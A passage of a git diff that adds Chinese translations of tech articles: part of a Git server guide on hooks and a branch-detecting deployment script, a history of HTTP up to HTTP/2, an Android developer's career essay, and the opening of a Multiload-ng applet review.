库中读取或者写入。在本地机器尝试以下操作: + +``` +$ git clone gituser@example.com:/opt/jupiter.git jupiter.clone +Cloning into 'jupiter.clone'... +Warning: you appear to have cloned an empty repository. +``` + +谨记:开发者们**一定**要把他们的 SSH 公钥加入到 `gituser` 用户下的 `authorized_keys` 文件里,或者说,如果他们有服务器上的用户(如果你给了他们用户),那么他们的用户必须属于 `gituser` 用户组。 + +### Git 钩子 + +运行你自己的 Git 服务器最赞的一件事之一就是可以使用 Git 钩子。Git 托管服务有时提供一个钩子类的接口,但是他们并不会给你真正的 Git 钩子来让你访问文件系统。Git 钩子是一个脚本,它将在一个 Git 过程的某些点运行;钩子可以运行在当一个仓库即将接收一个 commit 时、或者接受一个 commit 之后,或者即将接收一次 push 时,或者一次 push 之后等等。 + +这是一个简单的系统:任何放在 `.git/hooks` 目录下的脚本、使用标准的命名体系,就可按设计好的时间运行。一个脚本是否应该被运行取决于它的名字; `pre-push` 脚本在 `push` 之前运行,`post-receive` 脚本在接受 `commit` 之后运行等等。这或多或少的可以从名字上看出来。 + +脚本可以用任何语言写;如果在你的系统上有可以执行的脚本语言,例如输出 ‘hello world’ ,那么你就可以这个语言来写 Git 钩子脚本。Git 默认带了一些例子,但是并不有启用。 + +想要动手试一个?这很简单。如果你没有现成的 Git 仓库,首先创建一个 Git 仓库: + +``` +$ mkdir jupiter +$ cd jupiter +$ git init . +``` + +然后写一个 “hello world” 的 Git 钩子。因为我为了支持老旧系统而使用 tsch,所以我仍然用它作为我的脚本语言,你可以自由的使用自己喜欢的语言(Bash,Python,Ruby,Perl,Rust,Swift,Go): + +``` +$ echo "#\!/bin/tcsh" > .git/hooks/post-commit +$ echo "echo 'POST-COMMIT SCRIPT TRIGGERED'" >> ~/jupiter/.git/hooks/post-commit +$ chmod +x ~/jupiter/.git/hooks/post-commit +``` + +现在测试它的输出: + +``` +$ echo "hello world" > foo.txt +$ git add foo.txt +$ git commit -m 'first commit' +! POST-COMMIT SCRIPT TRIGGERED +[master (root-commit) c8678e0] first commit +1 file changed, 1 insertion(+) +create mode 100644 foo.txt +``` + +现在你已经实现了:你的第一个有功能的 Git 钩子。 + +### 有名的 push-to-web 钩子 + +Git 钩子最流行的用法就是自动 `push` 更改的代码到一个正在使用中的产品级 Web 服务器目录下。这是摆脱 FTP 的很好的方式,对于正在使用的产品保留完整的版本控制,整合并自动化内容的发布。 + +如果操作正确,网站发布工作会像以前一样很好的完成,而且在某种程度上,很精准。Git 真的好棒。我不知道谁最初想到这个主意,但是我是从 Emacs 和 Git 方面的专家,IBM 的 Bill von Hagen 那里第一次听到它的。他的文章包含关于这个过程的权威介绍:[Git 改变了分布式网页开发的游戏规则][1]。 + +### Git 变量 + +每一个 Git 钩子都有一系列不同的变量对应触发钩子的不同 Git 行为。你需不需要这些变量,主要取决于你写的程序。如果你只是需要一个当某人 push 代码时候的通用邮件通知,那么你就不需要什么特殊的东西,甚至也不需要编写额外的脚本,因为已经有现成的适合你的样例脚本。如果你想在邮件里查看 commit 信息和 commit 的作者,那么你的脚本就会变得相对麻烦些。 + +Git 钩子并不是被用户直接执行,所以要弄清楚如何收集可能会混淆的重要信息。事实上,Git 钩子脚本类似于其他的脚本,像 BASH、Python、C++ 等等一样从标准输入读取参数。不同的是,我们不会给它提供这个输入,所以,你在使用的时候,需要知道可能的输入参数。 + +在写 Git 钩子之前,看一下 Git 在你的项目目录下 `.git/hooks` 目录中提供的一些例子。举个例子,在这个 `pre-push.sample` 文件里,注释部分说明了如下内容: + +``` +# $1 -- 即将 push 的远程仓库的名字 +# $2 -- 即将 push 的远程仓库的 URL +# 如果 push 的时候,并没有一个命名的远程仓库,那么这两个参数将会一样。 +# +# 提交的信息将以下列形式按行发送给标准输入 +# +``` + +并不是所有的例子都是这么清晰,而且关于钩子获取变量的文档依旧缺乏(除非你去读 Git 的源码)。但是,如果你有疑问,你可以从线上[其他用户的尝试中][2]学习,或者你只是写一些基本的脚本,比如 `echo $1, $2, $3` 等等。 + +### 分支检测示例 + +我发现,对于生产环境来说有一个共同的需求,就是需要一个只有在特定分支被修改之后,才会触发事件的钩子。以下就是如何跟踪分支的示例。 + +首先,Git 钩子本身是不受版本控制的。 Git 并不会跟踪它自己的钩子,因为对于钩子来说,它是 Git 的一部分,而不是你仓库的一部分。所以,Git 钩子可以监控你的 Git 服务器上的一个空仓库的 commit 记录和 push 记录,而不是你本地仓库的一部分。 + +我们来写一个 `post-receive`(也就是说,在 `commit` 被接受之后触发)钩子。第一步就是需要确定分支名: + +``` +#!/bin/tcsh + +foreach arg ( $< ) + set argv = ( $arg ) + set refname = $1 +end +``` + +这个 for 循环用来读入第一个参数 `$1` ,然后循环用第二个参数 `$2` 去覆盖它,然后用第三个参数 `$3` 再这样。在 Bash 中有一个更好的方法,使用 `read` 命令,并且把值放入数组里。但是,这里是 tcsh,并且变量的顺序可以预测的,所以,这个方法也是可行的。 + +当我们有了 commit 记录的 `refname`,我们就能使用 Git 去找到这个分支的供人看的名字: + +``` +set branch = `git rev-parse --symbolic --abbrev-ref $refname` +echo $branch #DEBUG +``` + +然后把这个分支名和我们想要触发的事件的分支名关键字进行比较: + +``` +if ( "$branch" == "master" ) then + echo "Branch detected: master" + git \ + --work-tree=/path/to/where/you/want/to/copy/stuff/to \ + checkout -f $branch || echo "master fail" +else if ( "$branch" == "dev" ) then + echo "Branch detected: dev" + Git \ + --work-tree=/path/to/where/you/want/to/copy/stuff/to \ + checkout -f $branch || echo "dev fail" + else + echo "Your push was successful." + echo "Private branch detected. No action triggered." +endif +``` + +给这个脚本分配可执行权限: + +``` +$ chmod +x ~/jupiter/.git/hooks/post-receive +``` + +现在,当一个用户提交到服务器的 master 分支,那些代码就会被复制到一个生产环境的目录,提交到 dev 分支则会被复制到另外的地方,其他分支将不会触发这些操作。 + +同时,创造一个 `pre-commit` 脚本也很简单。比如,判断一个用户是否在他们不该 `push` 的分支上 `push` 代码,或者对 commit 信息进行解析等等。 + +Git 钩子也可以变得复杂,而且它们因为 Git 的工作流的抽象层次不同而变得难以理解,但是它们确实是一个强大的系统,让你能够在你的 Git 基础设施上针对所有的行为进行对应的操作。如果你是一个 Git 重度用户,或者一个全职 Git 管理员,那么 Git 钩子是值得学习的,只有当你熟悉这个过程,你才能真正掌握它。 + +在我们这个系列下一篇也是最后一篇文章中,我们将会学习如何使用 Git 来管理非文本的二进制数据,比如音频和图片。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 + +作者:[Seth Kenlon][a] +译者:[maywanting](https://github.com/maywanting) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[1]: http://www.ibm.com/developerworks/library/wa-git/ +[2]: https://www.analysisandsolutions.com/code/git-hooks-summary-cheat-sheet.htm +[3]: https://wiki.centos.org/SpecialInterestGroup/AltArch/Arm32/RaspberryPi3 \ No newline at end of file diff --git a/published/201609/20160813 Journey-to-HTTP2.md b/published/201609/20160813 Journey-to-HTTP2.md new file mode 100644 index 0000000000..09e8912e22 --- /dev/null +++ b/published/201609/20160813 Journey-to-HTTP2.md @@ -0,0 +1,212 @@ +漫游 HTTP/2 +=================== + +自从我写了上一篇博文之后,就再也找不到空闲时间写文章了。今天我终于可以抽出时间写一些关于 HTTP 的东西。 + +我认为每一个 web 开发者都应该对这个支撑了整个 Web 世界的 HTTP 协议有所了解,这样才能帮助你更好的完成开发任务。 + +在这篇文章中,我将讨论什么是 HTTP,它是怎么产生的,它的地位,以及我们应该怎么使用它。 + +### HTTP 是什么 + +首先我们要明白 HTTP 是什么。HTTP 是一个基于 `TCP/IP` 的应用层通信协议,它是客户端和服务端在互联网互相通讯的标准。它定义了内容是如何通过互联网进行请求和传输的。HTTP 是在应用层中抽象出的一个标准,使得主机(客户端和服务端)之间的通信得以通过 `TCP/IP` 来进行请求和响应。TCP 默认使用的端口是 `80`,当然也可以使用其它端口,比如 HTTPS 使用的就是 `443` 端口。 + +### `HTTP/0.9` - 单行协议 (1991) + +HTTP 最早的规范可以追溯到 1991 年,那时候的版本是 `HTTP/0.9`,该版本极其简单,只有一个叫做 `GET` 的 请求方式。如果客户端要访问服务端上的一个页面,只需要如下非常简单的请求: + +``` +GET /index.html +``` + +服务端的响应类似如下: + +``` +(response body) +(connection closed) +``` + +就这么简单,服务端捕获到请求后立马返回 HTML 并且关闭连接,在这之中: + +- 没有头信息(headers) +- 仅支持 `GET` 这一种请求方法 +- 必须返回 HTML + +如同你所看到的,当时的 HTTP 协议只是一块基础的垫脚石。 + +### HTTP/1.0 - 1996 + +在 1996 年,新版本的 HTTP 对比之前的版本有了极大的改进,同时也被命名为 `HTTP/1.0`。 + +与 `HTTP/0.9` 只能返回 HTML 不同的是,`HTTP/1.0` 支持处理多种返回的格式,比如图片、视频、文本或者其他格式的文件。它还增加了更多的请求方法(如 `POST` 和 `HEAD`),请求和响应的格式也相应做了改变,两者都增加了头信息;引入了状态码来定义返回的特征;引入了字符集支持;支持多段类型(multi-part)、用户验证信息、缓存、内容编码格式等等。 + +一个简单的 HTTP/1.0 请求大概是这样的: + +``` +GET / HTTP/1.0 +Host: kamranahmed.info +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) +Accept: */* +``` + +正如你所看到的,在请求中附带了客户端中的一些个人信息、响应类型要求等内容。这些是在 `HTTP/0.9` 无法实现的,因为那时候没有头信息。 + +一个对上述请求的响应例子如下所示: + +``` +HTTP/1.0 200 OK +Content-Type: text/plain +Content-Length: 137582 +Expires: Thu, 05 Dec 1997 16:00:00 GMT +Last-Modified: Wed, 5 August 1996 15:55:28 GMT +Server: Apache 0.84 + +(response body) +(connection closed) +``` + +从 `HTTP/1.0` (HTTP 后面跟的是版本号)早期开始,在状态码 `200` 之后就附带一个原因短语(你可以用来描述状态码)。 + +在这个较新一点的版本中,请求和响应的头信息仍然必须是 `ASCII` 编码,但是响应的内容可以是任意类型,如图片、视频、HTML、文本或其他类型,服务器可以返回任意内容给客户端。所以这之后,`HTTP` 中的“超文本(Hyper Text)”成了名不副实。 `HMTP` (超媒体传输协议 - Hypermedia transfer protocol)可能会更有意义,但是我猜我们还是会一直沿用这个名字。 + +`HTTP/1.0` 的一个主要缺点就是它不能在一个连接内拥有多个请求。这意味着,当客户端需要从服务器获取东西时,必须建立一个新的 TCP 连接,并且处理完单个请求后连接即被关闭。需要下一个东西时,你必须重新建立一个新的连接。这样的坏处在哪呢?假设你要访问一个有 `10` 张图片,`5` 个样式表(stylesheet)和 `5` 个 JavaScript 的总计 `20` 个文件才能完整展示的一个页面。由于一个连接在处理完成一次请求后即被关闭,所以将有 `20` 个单独的连接,每一个文件都将通过各自对应的连接单独处理。当连接数量变得庞大的时候就会面临严重的性能问题,因为 `TCP` 启动需要经过三次握手,才能缓慢开始。 + +#### 三次握手 + +三次握手是一个简单的模型,所有的 `TCP` 连接在传输应用数据之前都需要在三次握手中传输一系列数据包。 + +- `SYN` - 客户端选取一个随机数,我们称为 `x`,然后发送给服务器。 +- `SYN ACK` - 服务器响应对应请求的 `ACK` 包中,包含了一个由服务器随机产生的数字,我们称为 `y`,并且把客户端发送的 `x+1`,一并返回给客户端。 +- `ACK` - 客户端在从服务器接受到 `y` 之后把 `y` 加上 `1` 作为一个 `ACK` 包返回给服务器。 + +一旦三次握手完成后,客户端和服务器之间就可以开始交换数据。值得注意的是,当客户端发出最后一个 `ACK` 数据包后,就可以立刻向服务器发送应用数据包,而服务器则需要等到收到这个 `ACK` 数据包后才能接受应用数据包。 + +![](http://i.imgur.com/uERG2G2.png) + +> 请注意,上图有点小问题,客户端发回的最后一个 ACK 包仅包含 `y+1`,上图应该是 `ACK:y+1` 而不是 `ACK:x+1,y+1` + +然而,某些 HTTP/1.0 的实现试图通过新引入一个称为 `Connection: keep-alive` 的头信息来克服这一问题,这个头信息意味着告诉服务器“嘿,服务器,请不要关闭此连接,我还要用它”。但是,这并没有得到广泛的支持,问题依然存在。 + +除了无连接之外,HTTP 还是一个无状态的协议,即服务器不维护有关客户端的信息。因此每个请求必须给服务器必要的信息才能完成请求,每个请求都与之前的旧的请求无关。所以,这增加了推波助澜的作用,客户端除了需要新建大量连接之外,在每次连接中还需要发送许多重复的数据,这导致了带宽的大量浪费。 + +### `HTTP/1.1` - 1999 + +`HTTP/1.0` 经过仅仅 3 年,下一个版本,即 `HTTP/1.1` 就在 1999 年发布了,改进了它的前身很多问题,主要的改进包括: + +- **增加了许多 HTTP 请求方法**,包括 `PUT`、`PATCH`、`HEAD`、`OPTIONS`、`DELETE`。 +- **主机标识符** `Host` 在 `HTTP/1.0` 并不是必须的,而在 `HTTP/1.1` 是必须的。 +- 如上所述的**持久连接**。在 `HTTP/1.0` 中每个连接只有一个请求并在该请求结束后被立即关闭,这导致了性能问题和增加了延迟。 `HTTP/1.1` 引入了持久连接,即连接在默认情况下是不关闭并保持开放的,这允许多个连续的请求使用这个连接。要关闭该连接只需要在头信息加入 `Connection: close`,客户通常在最后一个请求里发送这个头信息就能安全地关闭连接。 +- 新版本还引入了“**管线化(pipelining)**”的支持,客户端可以不用等待服务器返回响应,就能在同一个连接内发送多个请求给服务器,而服务器必须以接收到的请求相同的序列发送响应。但是你可能会问了,客户端如何知道哪里是第一个响应下载完成而下一个响应内容开始的地方呢?要解决这个问题,头信息必须有 `Content-Length`,客户可以使用它来确定哪些响应结束之后可以开始等待下一个响应。 + - 值得注意的是,为了从持久连接或管线化中受益, 头部信息必须包含 `Content-Length`,因为这会使客户端知道什么时候完成了传输,然后它可以发送下一个请求(持久连接中,以正常的依次顺序发送请求)或开始等待下一个响应(启用管线化时)。 + - 但是,使用这种方法仍然有一个问题。那就是,如果数据是动态的,服务器无法提前知道内容长度呢?那么在这种情况下,你就不能使用这种方法中获益了吗?为了解决这个问题,`HTTP/1.1` 引进了分块编码。在这种情况下,服务器可能会忽略 `Content-Length` 来支持分块编码(更常见一些)。但是,如果它们都不可用,那么连接必须在请求结束时关闭。 +- 在动态内容的情况下**分块传输**,当服务器在传输开始但无法得到 `Content-Length` 时,它可能会开始按块发送内容(一块接一块),并在传输时为每一个小块添加 `Content-Length`。当发送完所有的数据块后,即整个传输已经完成后,它发送一个空的小块,比如设置 `Content-Length` 为 0 ,以便客户端知道传输已完成。为了通知客户端块传输的信息,服务器在头信息中包含了 `Transfer-Encoding: chunked`。 +- 不像 HTTP/1.0 中只有 Basic 身份验证方式,`HTTP/1.1` 包括摘要验证方式(digest authentication)和代理验证方式(proxy authentication)。 +- 缓存。 +- 范围请求(Byte Ranges)。 +- 字符集。 +- 内容协商(Content Negotiation)。 +- 客户端 cookies。 +- 支持压缩。 +- 新的状态码。 +- 等等。 + +我不打算在这里讨论所有 `HTTP/1.1` 的特性,因为你可以围绕这个话题找到很多关于这些的讨论。我建议你阅读 [`HTTP/1.0` 和 `HTTP/1.1` 版本之间的主要差异][5],希望了解更多可以读[原始的 RFC][6]。 + +`HTTP/1.1` 在 1999 年推出,到现在已经是多年前的标准。虽然,它比前一代改善了很多,但是网络日新月异,它已经垂垂老矣。相比之前,加载网页更是一个资源密集型任务,打开一个简单的网页已经需要建立超过 30 个连接。你或许会说,`HTTP/1.1` 具有持久连接,为什么还有这么多连接呢?其原因是,在任何时刻 `HTTP/1.1` 只能有一个未完成的连接。 `HTTP/1.1` 试图通过引入管线来解决这个问题,但它并没有完全地解决。因为一旦管线遇到了缓慢的请求或庞大的请求,后面的请求便被阻塞住,它们必须等待上一个请求完成。为了克服 `HTTP/1.1` 的这些缺点,开发人员开始实现一些解决方法,例如使用 spritesheets、在 CSS 中编码图像、单个巨型 CSS / JavaScript 文件、[域名切分][7]等。 + +### SPDY - 2009 + +谷歌走在业界前列,为了使网络速度更快,提高网络安全,同时减少网页的等待时间,他们开始实验替代的协议。在 2009 年,他们宣布了 `SPDY`。 + +> `SPDY` 是谷歌的商标,而不是一个缩写。 + +显而易见的是,如果我们继续增加带宽,网络性能开始的时候能够得到提升,但是到了某个阶段后带来的性能提升就很有限了。但是如果把这些优化放在等待时间上,比如减少等待时间,将会有持续的性能提升。这就是 `SPDY` 优化之前的协议的核心思想,减少等待时间来提升网络性能。 + +> 对于那些不知道其中区别的人,等待时间就是延迟,即数据从源到达目的地需要多长时间(单位为毫秒),而带宽是每秒钟数据的传输量(比特每秒)。 + +`SPDY` 的特点包括:复用、压缩、优先级、安全性等。我不打算展开 `SPDY` 的细节。在下一章节,当我们将介绍 `HTTP/2`,这些都会被提到,因为 `HTTP/2` 大多特性是从 `SPDY` 受启发的。 + +`SPDY` 没有试图取代 HTTP,它是处于应用层的 HTTP 之上的一个传输层,它只是在请求被发送之前做了一些修改。它开始成为事实标准,大多数浏览器都开始支持了。 + +2015年,谷歌不想有两个相互竞争的标准,所以他们决定将其合并到 HTTP 协议,这样就导致了 `HTTP/2` 的出现和 `SPDY` 的废弃。 + +### `HTTP/2` - 2015 + +现在想必你明白了为什么我们需要另一个版本的 HTTP 协议了。 `HTTP/2` 是专为了低延迟地内容传输而设计。主要特点和与 `HTTP/1.1` 的差异包括: + +- 使用二进制替代明文 +- 多路传输 - 多个异步 HTTP 请求可以使用单一连接 +- 报头使用 HPACK 压缩 +- 服务器推送 - 单个请求多个响应 +- 请求优先级 +- 安全性 + +![](http://i.imgur.com/S85j8gg.png) + +#### 1. 二进制协议 + +`HTTP/2` 通过使其成为一个二进制协议以解决 HTTP/1.x 中存在的延迟问题。作为一个二进制协议,它更容易解析,但可读性却不如 `HTTP/1.x`。帧(frames)和流(stream)的概念组成了 `HTTP/2` 的主要部分。 + +**帧和流** + +现在 HTTP 消息是由一个或多个帧组成的。`HEADERS` 帧承载了元数据(meta data),`DATA` 帧则承载了内容。还有其他类型的帧(`HEADERS`、`DATA`、`RST_STREAM`、`SETTINGS`、`PRIORITY` 等等),这些你可以通过[HTTP/2 规范][3]来了解。 + +每个 `HTTP/2` 请求和响应都被赋予一个唯一的流 ID,并切分成帧。帧就是一小片二进制数据。帧的集合称为流,每个帧都有个标识了其所属流的流 ID,所以在同一个流下的每个帧具有共同的报头。值得注意的是,​除了流 ID 是唯一的之外,​由客户端发起的请求使用了奇数作为流 ID,从来自服务器的响应使用了偶数作为流 ID。 + +除了 `HEADERS` 帧和 `DATA` 帧,另一个值得一提的帧是 `RST_STREAM`。这是一个特殊的帧类型,用来中止流,即客户可以发送此帧让服务器知道,我不再需要这个流了。在 `HTTP/1.1` 中让服务器停止给客户端发送响应的唯一方法是关闭连接,这样造成了延迟增加,因为之后要发送请求时,就要必须打开一个新的请求。而在 `HTTP/2` ,客户端可以使用 `RST_STREAM` 来停止接收特定的数据流,而连接仍然打开着,可以被其他请求使用。 + +#### 2. 多路传输 + +因为 `HTTP/2` 是一个二进制协议,而且如上所述它使用帧和流来传输请求与响应,一旦建立了 TCP 连接,相同连接内的所有流都可以同过这个 TCP 连接异步发送,而不用另外打开连接。反过来说,服务器也可以使用同样的异步方式返回响应,也就是说这些响应可以是无序的,客户端使用分配的流 ID 来识别数据包所属的流。这也解决了 HTTP/1.x 中请求管道被阻塞的问题,即客户端不必等待占用时间的请求而其他请求仍然可以被处理。 + +#### 3. HPACK 请求头部压缩 + +RFC 花了一篇文档的篇幅来介绍针对发送的头信息的优化,它的本质是当我们在同一客户端上不断地访问服务器时,许多冗余数据在头部中被反复发送,有时候仅仅是 cookies 就能增加头信息的大小,这会占用许多宽带和增加传输延迟。为了解决这个问题,`HTTP/2` 引入了头信息压缩。 + +![](http://i.imgur.com/3IPWXvR.png) + +不像请求和响应那样,头信息中的信息不会以 `gzip` 或者 `compress` 等格式压缩。而是采用一种不同的机制来压缩头信息,客户端和服务器同时维护一张头信息表,储存了使用了哈夫曼编码进行编码后的头信息的值,并且后续请求中若出现同样的字段则忽略重复值(例如用户代理(user agent)等),只发送存在两边信息表中它的引用即可。 + +我们说的头信息,它们同 HTTP/1.1 中一样,并在此基础上增加了一些伪头信息,如 `:scheme`,`:host` 和 `:path`。 + +#### 4. 服务器推送 + +服务器推送是 `HTTP/2` 的另一个巨大的特点。对于服务器来说,当它知道客户端需要一定的资源后,它可以把数据推送到客户端,即使客户端没有请求它。例如,假设一个浏览器在加载一个网页时,它解析了整个页面,发现有一些内容必须要从服务端获取,然后发送相应的请求到服务器以获取这些内容。 + +服务器推送减少了传输这些数据需要来回请求的次数。它是如何做到的呢?服务器通过发送一个名字为 `PUSH_PROMISE` 特殊的帧通知到客户端“嘿,我准备要发送这个资源给你了,不要再问我要了。”这个 `PUSH_PROMISE` 帧与要产生推送的流联系在一起,并包含了要推送的流 ID,也就是说这个流将会被服务器推送到客户端上。 + +#### 5. 请求优先级 + +当流被打开的时候,客户端可以在 `HEADERS` 帧中包含优先级信息来为流指定优先级。在任何时候,客户端都可以发送 `PRIORITY` 帧来改变流的优先级。 + +如果没有任何优先级信息,服务器将异步地无序地处理这些请求。如果流分配了优先级,服务器将基于这个优先级来决定需要分配多少资源来处理这个请求。 + +#### 6. 安全性 + +在是否强制使用 `TLS` 来增加安全性的问题上产生了大范围的讨论,讨论的结果是不强制使用。然而大多数厂商只有在使用 `TLS` 时才能使用 `HTTP/2`。所以 `HTTP/2` 虽然规范上不要求加密,但是加密已经约定俗成了。这样,在 `TLS` 之上实现 `HTTP/2` 就有了一些强制要求,比如,`TLS` 的最低版本为 `1.2`,必须达到某种级别的最低限度的密钥大小,需要布署 ephemeral 密钥等等。 + +到现在 `HTTP/2` 已经[完全超越了 SPDY][4],并且还在不断成长,HTTP/2 有很多关系性能的提升,我们应该开始布署它了。 + +如果你想更深入的了解细节,请访问[该规范的链接][1]和[ HTTP/2 性能提升演示的链接][2]。请在留言板写下你的疑问或者评论,最后如果你发现有错误,请同样留言指出。 + +这就是全部了,我们之后再见~ + +-------------------------------------------------------------------------------- + +via: http://kamranahmed.info/blog/2016/08/13/http-in-depth/ + +作者:[Kamran Ahmed][a] +译者:[NearTan](https://github.com/NearTan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://github.com/kamranahmedse + +[1]: https://http2.github.io/http2-spec +[2]: http://www.http2demo.io/ +[3]: https://http2.github.io/http2-spec/#FrameTypes +[4]: http://caniuse.com/#search=http2 +[5]: http://www.ra.ethz.ch/cdstore/www8/data/2136/pdf/pd1.pdf +[6]: https://tools.ietf.org/html/rfc2616 +[7]: https://www.maxcdn.com/one/visual-glossary/domain-sharding-2/ \ No newline at end of file diff --git a/published/201609/20160814 How I Got to be an Android Dev And What I Learned From It.md b/published/201609/20160814 How I Got to be an Android Dev And What I Learned From It.md new file mode 100644 index 0000000000..0caca5f4df --- /dev/null +++ b/published/201609/20160814 How I Got to be an Android Dev And What I Learned From It.md @@ -0,0 +1,58 @@ +我的 Android 开发者之路以及我在其中学到了什么 +============================= + +大家都说所有的关系都需要经历两年、七年甚至十年的磨砺。我忘了是谁说的这句话,但肯定有人在几年前这么跟我说过。 + +下周是我来悉尼两周年,所以我想现在正是我写这篇文章的好时候。 + +去年五月份参加 I/O 年会的时候,我遇到了亚斯曼女士,她十分漂亮。她向我询问我是如何成长为一名安卓开发者的,当我说完我的经历时,她认为我应该写个博客记下来。所以亚斯曼,如你所愿,虽然迟了点,但好过没做。;) + +### 故事的开始 + +如果有件事我可能希望你知道,那就是我发现自己有选择困难症。你最好的朋友是谁?你最喜欢的食物是什么?你应该给你的玩具熊猫命名吗?我连这些问题都不知道该怎么回答才好。所以你可以想象到,16 岁的、即将高中毕业的我对于专业选择根本就没有任何想法。那我最初申请的大学是?在交表给注册员前,我在她面前逐字掂量着写下这个打算申请的专业(商业经济学)。 + +可我最后去了另外一间学校,就读电子与通信工程。大一时我有一门计算机编程课程。但我很讨厌编程,十分地讨厌。关于编程的一切我都一无所知。我曾发誓再也不要写代码了。 + +我大学毕业后的第一份工作是在英特尔做产品工程师并在那呆了两年。我很迷茫,无所适从,整天长时间工作。这在我意料之中,身为成年人难道不该努力工作吗?可之后菲律宾的半导体行业开始呈现颓势,大批工厂纷纷倒闭,以前由我们维护一些产品被转移到其他分公司。我便决定去找另一份工作而不是等着被裁员,因为被裁员后我都不知道自己多久才能找到另一份工作。 + +### 现在呢? + +我想留在城市里找到一份工作,但我不想呆在正在没落的半导体行业里了。但话说回来,我又不知道该做什么好。对了,我可是拿了毕业证书的工程师,所以从技术上来说我可以在电信运营商或电视台找到工作。可这种时候,如果想入职电信运营商,我应该在大学毕业之际就去他们那实习,这样更容易被录用。可惜我没有,所以我放弃了这个想法。虽然有很多软件开发人员的招聘信息,但我讨厌编程,所以我真的不知道怎么做才好。 + +接下来是我第一个幸运的机遇,我很幸运地遇到了信任我的上司,我也和她坦诚了我什么都不会。之后我不得不边工作边学习,一开始这个过程很漫长。无需多言,我在这份工作上学到了很多,也结识了很多很好的人,与我一起的是一群很厉害的同事(我们曾开发出安装在 SIM 卡上的 APP)。但更重要的是我开始踏上了软件开发的征途。 + +最后我做得更多是一些公司的琐事(十分无聊)直到项目完结。换句话说,我总在是在办公室里闲逛并坐等发薪。之后我发现这确实是在浪费时间,2009 年的时候,我不停地接触到关于谷歌的新系统 Android 的消息,并得知它的 SDK 已经公布!是时候尝试一波了。于是我安装了所有相关软件并着手 Android 开发。 + +### 事情变得有趣了 + +所以现在我能够构建一个在运行在仿真器的 Hello World 应用,在我看来意味着我有胜任安卓开发工作的能力。我加入了一个创业公司,并且再次坦诚我不知道该怎么做,我只是接触过一些;但如果你们愿意付薪水给我继续尝试,我们就可以成为朋友。然后我很幸运地遇到另一个机遇。 + +那时成为开发者是一件令人欣喜的事。StackOverflow 上的 Android 开发社区非常小,我们都在相互交流学习,说真的,我认为里面的所有人都很友好、很豪迈(注 1)! + +我最后去了一家企业,这家企业的移动开发团队在马尼拉、悉尼、纽约都设有办公地点。而我是马尼拉办公地点的第一个安卓开发人员,但那时我很习惯,并没有在意。 + +在那里我认识了最后令我永远感激的引荐我参与 Domain 项目的人。Domain 项目不管在个人或职业上对我来说都意味深重。我和一支很有才华的团队一起共事,也从没见过一个公司能如此执着于一款产品。Domain 让我实现了参加 I/O 年会的梦。与他们共事后我懂得了很多之前没想到的可爱特性(注 2)。这是又一个幸运的机遇,我是说最大限度地利用它。 + +### 然后呢? + +我想说的是,虽然这些年都在晃荡,但至少我很诚实,对吧?如上就是我所学到的全部东西。说一句「我不懂」没什么可怕的。有时候我们是该装懂,但更多时候我们需要坦诚地接受这样一个事实:我们还不懂。 + +别害怕尝试新事物,不管它让你感觉多害怕。我知道说比做简单。但总有一些东西能让你鼓起勇气动手去尝试的(注3)。Lundagin mo, baby!(LCTT 译注:一首歌名) + + +注 1: 我翻阅着以前在 StackOverflow 提的问题,认真想想,如果现在我问他们这些,估计会收到很多「你是谁啊,傻瓜」的评论。我不知道是不是因为我老了,而且有些愤世妒俗。但关键是,我们有缘在同一个社区中,所以大家相互之间友善些,好吗? +注 2: 这一点写在另一篇文章里了。 +注 3: 我还清晰地记得第一次申请 Android 开发职位的情形:我写完求职信后又通读了一遍,提交前鼠标在发送按钮上不断徘徊,深呼吸之后我趁改变主意之前把它发出去了。 + + +-------------------------------------------------------------------------------- + +via: http://www.zdominguez.com/2016/08/winging-it-how-i-got-to-be-android-dev.html + +作者:[Zarah Dominguez][a] +译者:[JianhuanZhuo](https://github.com/JianhuanZhuo) +校对:[PurlingNayuki](https://github.com/PurlingNayuki) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://plus.google.com/102371834744366149197 diff --git a/published/201609/20160815 Alternative System Monitor Applet For LXDE Xfce And MATE - Multiload-ng.md b/published/201609/20160815 Alternative System Monitor Applet For LXDE Xfce And MATE - Multiload-ng.md new file mode 100644 index 0000000000..55e867dd46 --- /dev/null +++ b/published/201609/20160815 Alternative System Monitor Applet For LXDE Xfce And MATE - Multiload-ng.md @@ -0,0 +1,102 @@ +LXDE、Xfce 及 MATE 桌面环境下的又一系统监视器应用:Multiload-ng +====== + +[Multiload-ng][1] 是一个 GTK2 图形化系统监视器应用,可集成到 Xfce、LXDE 及 MATE 的桌面面板中, 它 fork 自原来的 GNOME Multiload 应用。它也可以运行在一个独立的窗口中。 + +![](https://2.bp.blogspot.com/-U8CFzhSPJho/V7GigDbcLWI/AAAAAAAAYS0/pJMM6Rt5-HkbKljmxzP4-v0oGGxjvH8AgCLcB/s1600/multiload-ng-lxde.png) + +Multiload-ng 的特点有: + +- 支持以下资源的图形块: CPU,内存,网络,交换空间,平均负载,磁盘以及温度; +- 高度可定制; +- 支持配色方案; +- 自动适应容器(面板或窗口)的改变; +- 极低的 CPU 和内存占用; +- 提供基本或详细的提示信息; +- 可自定义双击触发的动作。 + +相比于原来的 Multiload 应用,Multiload-ng 含有一个额外的图形块(温度),以及更多独立的图形自定义选项,例如独立的边框颜色,支持配色方案,可根据自定义的动作对鼠标的点击做出反应,图形块的方向可以被设定为与面板的方向无关。 + +它也可以运行在一个独立的窗口中,而不需要面板: + +![](https://1.bp.blogspot.com/-hHoipwFlHrg/V7Gw2s107zI/AAAAAAAAYTQ/fS5OtiL7VvwDEzr6qO_gdEA_qB9YvJa5gCLcB/s400/multiload-ng-standalone.png) + +另外,它的 GitHub page 上说还会带来更多的图形块支持。 + +下图展示的是在带有一个垂直面板的 Xubuntu 16.04 中,该应用分别处于水平和垂直方向的效果: + 